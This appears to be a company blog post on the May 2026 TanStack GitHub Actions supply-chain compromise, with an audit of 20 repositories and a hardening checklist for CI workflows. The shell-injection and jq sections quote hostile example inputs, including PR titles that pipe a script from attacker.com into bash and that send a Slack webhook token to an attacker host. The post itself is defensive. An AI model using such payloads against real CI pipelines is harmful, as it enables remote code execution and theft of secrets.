Series A announced

Read More
Copilot Kit Logo

TanStack Supply Chain Attack and How to Lock Down GitHub Actions

By Jordan Ritter
May 18, 2026
TanStack Supply Chain Attack and How to Lock Down GitHub Actions

In May 2026, the TanStack/router repository was compromised through its GitHub Actions CI pipeline. An attacker submitted a fork pull request that poisoned the Actions cache, extracted OIDC tokens from the CI environment, and used those tokens to publish 84 malicious packages to npm. Every downstream project that ran npm install in the hours before detection pulled attacker-controlled code.

The attack exploited no zero-days. Every vulnerability in the chain - cache collision between fork and upstream PRs, overly broad token permissions, build and publish running in the same job -- was a known risk that the repository had simply never addressed. The attacker read the workflow files, identified the gaps, and walked through them.

The problem is pervasive in a profound way, and most people & organizations don’t realize they are wide open to subversion and attack.

We audited 20 repositories across two GitHub organizations the following day. Here is what we found and how we fixed it.

The Audit

We categorized findings into eight areas. Every repository had at least three. Most had five or more.

1. Unpinned Actions

Nearly every repository referenced actions by tag: uses: actions/checkout@v4. Tags are mutable Git references. If an attacker compromises a maintainer's account on any action you use, they can move the tag to point at malicious code. Your next CI run executes it.

SHA-pinning references an immutable commit. Even a compromised maintainer cannot alter it after the fact.

Vulnerable: uses: actions/checkout@v4

Hardened: uses: actions/checkout@abc123def456... # v4.1.7

This includes first-party actions/* references, which most teams assume are safe. They are maintained by GitHub, but they are still mutable tags on public repositories. Pin them.

2. Missing Permissions Blocks

GitHub Actions grants GITHUB_TOKEN with broad default permissions unless you explicitly restrict them. A workflow with no permissions: block gets read-write access to contents, packages, pull requests, issues, and more. If any step in that workflow is compromised, the attacker inherits all of those permissions.

Vulnerable: no permissions: block (inherits full read-write)

Hardened: top-level permissions: contents: read, then per-job permissions: packages: write only where needed

3. Shell Injection

Any run: block that interpolates attacker-controllable values using ${{ }} syntax is a shell injection vector. A PR titled "; curl attacker.com/steal.sh | bash; echo " executes arbitrary commands in your CI runner. The same applies to github.event.pull_request.body, branch names, commit messages -- anything an external contributor controls.

The fix is environment variable indirection: set env: PR_TITLE: ${{ github.event.pull_request.title }} at the step level, then reference $PR_TITLE in the shell. Environment variables are not interpreted by the shell as code.

4. Credential Persistence

When actions/checkout runs without persist-credentials: false, it configures the GITHUB_TOKEN into the Git credential helper for the entire job duration. Every subsequent step -- including npm install, pip install, or any downloaded binary -- can read that token from Git config.

This is the finding that surprised us most. The default behavior of the most commonly used GitHub Action silently exposes credentials to every tool your build runs.

5. Dangerous Triggers

The pull_request_target trigger runs with the base branch's secrets and permissions but can be tricked into checking out fork code. If your workflow uses pull_request_target and then checks out the PR head ref, you have given a fork contributor access to your repository secrets.

6. No Static Analysis

None of our 20 repositories had automated security scanning of workflow files. Zizmor, an open-source GitHub Actions static analyzer built by Trail of Bits, catches all of the above findings and more. It was not running anywhere.

7. No Dependabot for Actions

SHA-pinned actions are immutable, which is the point -- but they also go stale. Security patches to actions require updating the SHA pin. Without Dependabot configured for the github-actions ecosystem, pinned actions never update.

8. Fork PR Cache Poisoning

GitHub Actions shares the cache namespace between upstream and fork pull requests by default. An attacker can submit a fork PR that writes a poisoned cache entry, which a subsequent upstream workflow run restores. This was a key link in the TanStack kill chain.

The Playbook

Here is the checklist we applied across all 20 repositories. Each item is independently valuable.

1. SHA-Pin All Actions

Replace every tag reference with a SHA pin. Add a trailing comment with the version for readability. This includes first-party actions, third-party actions, and reusable workflows. No exceptions.

2. Least-Privilege Permissions

Add a top-level permissions: contents: read block to every workflow. Then add per-job permissions: blocks only where a specific job needs write access. The principle: a compromised step can only do what the job's explicit permissions allow.

3. Shell Injection Prevention (Two Layers)

Layer 1: Audit every run: block for ${{ }} expressions. If the value comes from an event payload, a PR, an issue, or any external input, move it to an env: block and reference the environment variable in the shell instead.

Layer 2: When constructing JSON payloads for curl, Slack, or API calls, never use ${SHELL_VAR} inside double-quoted strings. A value like $(curl attacker.com) will execute via bash command substitution even though it came through an env var. Instead, pass every value as a jq argument: jq -nc --arg title "$PR_TITLE" --arg url "$PR_URL" '{text: ("PR: " + $title + " " + $url)}'. Layer 1 stops GitHub expression injection. Layer 2 stops shell command substitution. You need both.

4. Persist-Credentials: False

Add persist-credentials: false to every actions/checkout step. For workflows that need to push, use a scoped approach: configure credentials in a dedicated step immediately before the push, using the git config url.insteadOf pattern. This limits credential exposure to a single step instead of the entire job.

5. Build/Publish Separation

Split workflows that both build artifacts and publish them into separate jobs. The build job runs with read-only permissions and no publishing secrets. The publish job downloads the build artifact, then publishes with only the credentials it needs.

6. Zizmor for Continuous Scanning

Add zizmor as a CI check on every pull request that modifies workflow files. When zizmor reports a finding, fix it -- do not suppress it. Suppressions accumulate and become the next generation of technical debt.

7. Dependabot for Actions

Add a dependabot.yml with the github-actions ecosystem on a daily schedule. Group minor and patch updates into a single PR and auto-merge them. For major version updates, run a breaking change analysis before merging.

8. pnpm Supply Chain Hardening

If you use pnpm, add minimum-release-age=1440 (24h quarantine for new packages) and block-exotic-subdeps=true (prevents transitive dependencies from using Git or tarball URLs) to .npmrc.

The Hard Parts

Fixing 20 Repos at Once

We hardened 20 repositories in two days. The first 8 were an emergency response to the TanStack attack. The remaining 12 were systematic, using parallel work streams: one stream per repository, each following the same checklist, each producing a single PR with commits grouped by area of concern.

The Dependabot Flood

After merging SHA-pinning and Dependabot configuration across 12 repositories, Dependabot generated 113 pull requests within 24 hours. We ran a breaking change analysis across all major version bumps, identified three that required workflow modifications, fixed those, then merged the remaining safe updates in batches.

The Persist-Credentials Trap

The persist-credentials: false fix is straightforward for read-only workflows. It becomes genuinely tricky for workflows that push -- release automation, changelog generators, auto-formatters. These workflows need write access to the repository, but only at the moment of the push. The default behavior means every tool download between checkout and push has access to a token that can modify your repository.

Preserving Intent

Security hardening must not break existing functionality. An auto-fix tool that aggressively restricts permissions can break deploy pipelines. A shell injection fix that changes how variables are interpolated can subtly alter behavior. Every change must be verified against the workflow's actual purpose.

The jq --arg Trap

We thought routing ${{ }} values through environment variables was sufficient defense against shell injection. It is not. Consider this pattern, which passes every static analysis check:

env: PR_TITLE: ${{ github.event.pull_request.title }} then PAYLOAD=$(jq -n --arg text "New PR: ${PR_TITLE}" '{text: $text}')

The ${PR_TITLE} is expanded by bash inside the double-quoted string before jq sees it. A PR title containing $(curl attacker.com/exfil?token=$SLACK_WEBHOOK) executes. The env var indirection protects against GitHub expression injection (the ${{ }} layer) but does NOT protect against shell command substitution in double-quoted strings.

The correct pattern passes every value as a jq argument: jq -nc --arg title "$PR_TITLE" --arg url "$PR_URL" '{text: ("New PR: " + $title + " " + $url)}'. Now jq handles the escaping. The shell never interpolates the value inside a string that gets evaluated. We found and fixed this in Slack notification workflows across multiple repos -- it had survived three prior review passes because the env var indirection looked correct at a glance.

The Credential Window

Adding persist-credentials: false to every checkout is step one. Step two is understanding WHERE your credentials live during the job. We found three workflows where a write-scoped token persisted in git config for 30+ minutes while the job installed third-party tools (ruff from PyPI, ffmpeg from apt, Playwright from npm) or ran an AI agent (Claude Code with API keys). Any compromised tool in that window could read the token from .git/config and push code.

The fix is late credential injection: persist-credentials: false on checkout, then git config --local url."<https://x-access-token:$TOKEN@github.com/>".insteadOf "<https://github.com/>" in a dedicated step immediately before the push. Credentials exist for seconds instead of the entire job. This is a meaningful reduction in attack surface that most hardening guides skip because they stop at the checkout step.

Review Before You Merge

We shipped an ECR --image-tag-mutability IMMUTABLE change that would have broken every subsequent Docker push for repos using mutable tags like branch-staging and :latest. Immutable tags are the security best practice -- but the existing tag strategy assumed mutability. The retroactive code review caught it before it caused a production incident.

The lesson: even "obviously correct" security improvements can break existing workflows when the implementation doesn't match the operational reality. Every hardening change deserves a review, especially on infrastructure repos. We adopted a strict fix-then-CR-then-merge discipline after this near-miss, and it caught issues on subsequent rounds.

Zizmor Findings Are Opportunities

When zizmor reports 15 findings in a workflow file, the temptation is to suppress the ones that seem low-risk. Do not do this. Each finding represents a real gap in your security posture. Fix them.

The Checklist

  • SHA-pin all actions -- every uses: reference, including actions/*, pinned to full commit SHA with version comment.
  • Least-privilege permissions -- top-level permissions: contents: read, per-job write scopes only where needed.
  • Shell injection audit -- no ${{ }} expressions from external input in run: blocks; use env: indirection.
  • persist-credentials: false -- on every actions/checkout; scoped git config for workflows that push.
  • Build/publish separation -- publishing secrets available only in the publish job; build jobs are read-only.
  • Zizmor CI integration -- runs on every PR that touches .github/workflows/; findings are fixed, not suppressed.
  • Dependabot for actions -- daily schedule, grouped minor/patch with auto-merge, manual review for major versions.
  • Fork PR cache isolation -- cache keys prefixed with source repository to prevent fork/upstream collisions.
  • pnpm hardening -- minimum-release-age and block-exotic-subdeps in .npmrc
  • Dangerous trigger audit -- no pull_request_target with fork checkout; no workflow_run from forks with elevated permissions.

Pro Tip: Consider Renovate Over Dependabot

After activating Dependabot across 20 repositories, we received 156 individual pull requests within 24 hours. The grouping configuration we set up -- which should have consolidated minor/patch updates into a single PR per repo -- worked for minor/patch but failed silently for major version bumps due to a known, unresolved Dependabot bug (dependabot/dependabot-core#14202). Every major bump got its own PR. Merging them required serial processing with conflict resolution as each merge triggered cascading rebases on the remaining PRs in the same repo.

Renovate (renovatebot.com) solves every pain point we hit:

  • Grouping that works. One PR per repo for ALL GitHub Actions updates -- minor, patch, and major combined. The 156-PR flood would have been 20 PRs.
  • Built-in automerge. No custom workflow needed. Set automerge: true in config and passing updates merge themselves. Branch-level automerge skips PR creation entirely for silent updates.
  • Central config. One renovate-config repo manages all 20+ repositories. Change it once, every repo inherits. No more maintaining 20+ separate dependabot.yml files.
  • Auto-SHA-pinning. The helpers:pinGitHubActionDigests preset automatically converts tag references to SHA pins, and helpers:githubDigestChangelogs adds commit-to-commit diff links for pinned actions.

Renovate is free for both public and private repos (hosted GitHub App), supports 100+ package ecosystems in a single config file, and can coexist with Dependabot during migration. The setup cost is ~4 hours (without “help” 😉); the ongoing maintenance cost is near zero.

If you are starting fresh, use Renovate. If you already have Dependabot, the migration is straightforward: install the Renovate app, merge the auto-generated onboarding PRs, validate for a day, then remove your dependabot.yml files.

Automate Your Own Audit

After completing the manual audit across our 20 repos, we built a deterministic scanner to codify everything we learned: Sentinel. It is a pure-Ruby CLI that checks GitHub Actions workflows against 21 security dimensions. No AI, no external dependencies -- just pattern matching against the same rules we applied by hand.

Point it at any repo or GitHub org:

bin/sentinel --org your-org

bin/sentinel owner/repo

bin/sentinel --local /path/to/checkout

It outputs findings by severity (critical, high, medium, low) with line numbers, the offending code, and a specific fix recommendation for each finding. Exit code 1 if any critical or high finding is present, so you can gate CI on it.

We calibrated the scanner against six high-profile public repos (vercel/next.js, facebook/react, microsoft/vscode, nodejs/node, ionic-team/ionic-framework, carloscuesta/gitmoji) and found real issues in all of them:

  • facebook/react: ${{ github.triggering_actor }} interpolated directly in a run: block (shell injection via malicious GitHub username)
  • vercel/next.js: Two curl | sh installer scripts without integrity checks (wasm-pack and fnm)
  • microsoft/vscode: Same curl | sh pattern for rustup
  • nodejs/node: The gold standard -- zero unpinned actions, permissions on every workflow; only finding was missing job-level timeout-minutes

The scanner differentiates first-party actions (actions/*, maintained by GitHub) from third-party actions. Unpinned first-party actions are medium severity; unpinned third-party actions are critical. This eliminates the noise that makes other scanners impractical -- 164 first-party unpinned findings in React at medium severity, not critical, alongside the 2 actually-critical shell injection findings.

Every rule from the checklist above is encoded in the scanner. Run it against your repos. Fix what it finds. Add it to CI. Then the checklist enforces itself.

Closing

This is not a one-time effort, but the ongoing cost is low. Automated dependency management (whether Renovate or Dependabot) keeps SHA pins current. zizmor catches regressions in new workflows. The initial hardening across 20 repositories was four days of concentrated work. Maintenance since then has been approving the occasional major-version update PR. The hard part is doing it the first time. After that, the tooling maintains itself.

Are you ready?

Stay in the know

Subscribe to our blog and get updates on CopilotKit in your inbox.